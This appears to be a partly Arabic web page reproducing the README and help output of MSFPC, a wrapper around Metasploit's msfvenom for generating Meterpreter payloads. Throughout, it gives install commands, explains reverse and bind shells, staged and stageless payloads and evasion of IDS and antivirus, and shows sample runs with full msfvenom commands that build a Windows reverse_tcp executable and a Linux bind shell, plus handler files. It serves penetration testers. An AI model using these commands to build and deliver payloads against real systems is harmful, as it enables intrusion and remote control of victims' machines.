
MSFvenom منشئ الحمولة (MSFPC)
طريقة سريعة لتوليد حمولات "أساسية" متنوعة من Meterpreter عبر msfvenom (جزء من إطار عمل Metasploit).
MSFvenom Payload Creator (MSFPC) هو غلاف لتوليد أنواع متعددة من الحمولات، بناءً على اختيار المستخدم. الفكرة هي أن تكون بسيطة قدر الإمكان (تتطلب مدخلاً واحدًا فقط) لإنتاج الحمولة.
أتمتة كاملة لـ msfvenom و Metasploit هي الهدف النهائي (وكذلك القدرة على أتمتة MSFPC نفسها). والباقي هو جعل حياة المستخدم سهلة قدر الإمكان (مثل قائمة اختيار IP، ملف أوامر msfconsole، إنتاج الحمولات دفعة واحدة والقدرة على إدخال أي وسيطة بأي ترتيب (بصيغ/أنماط متنوعة)).
المدخل الوحيد الضروري من المستخدم يجب أن يكون تحديد الحمولة التي يريدها إما عن طريق المنصة (مثل windows)، أو امتداد الملف الذي يرغب في أن تكون عليه الحمولة (مثل exe).
eth0.wan.loop.batch (لكل شيء)، batch msf (لكل خيار من Meterpreter)، batch staged (لكل حمولة مجزأة)، أو batch cmd stageless (لكل موجه أوامر غير مجزأ)!ملاحظة: هذا لن يحاول تجاوز أي حلول مكافحة الفيروسات في أي مرحلة.

$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc
MSFPC موجود بالفعل كحزمة في Kali Rolling، لذا كل ما عليك فعله هو:
root@kali:~# apt install -y msfpc
$ bash msfpc.sh -h -v
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Example: msfpc.sh windows 192.168.1.10 # Windows & manual IP.
msfpc.sh elf bind eth0 4444 # Linux, eth0's IP & manual port.
msfpc.sh stageless cmd py https # Python, stageless command prompt.
msfpc.sh verbose loop eth1 # A payload for every type, using eth1's IP.
msfpc.sh msf batch wan # All possible Meterpreter payloads, using WAN IP.
msfpc.sh help verbose # Help screen, with even more information.
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
Missing <DOMAIN/IP> will default to the IP menu.
Missing <PORT> will default to 443.
<CMD> is a standard/native command prompt/terminal to interactive with.
<MSF> is a custom cross platform shell, gaining the full power of Metasploit.
Missing <CMD/MSF> will default to <MSF> where possible.
Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format.
<CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support.
<MSF> payloads are generally much larger than <CMD>, as it comes with more features.
<BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target.
<REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target.
Missing <BIND/REVERSE> will default to <REVERSE>.
<BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access.
<STAGED> splits the payload into parts, making it smaller but dependent on Metasploit.
<STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>.
Missing <STAGED/STAGELESS> will default to <STAGED> where possible.
Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format.
<STAGED> are 'better' in low-bandwidth/high-latency environments.
<STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS.
More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
https://www.offensive-security.com/metasploit-unleashed/payload-types/
https://www.offensive-security.com/metasploit-unleashed/payloads/
<TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs.
<HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80.
<HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443.
<FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>.
Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>.
By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size.
More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
<BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGLESS> & <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> will just create one of each <TYPE>.
<VERBOSE> will display more information.
$
$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185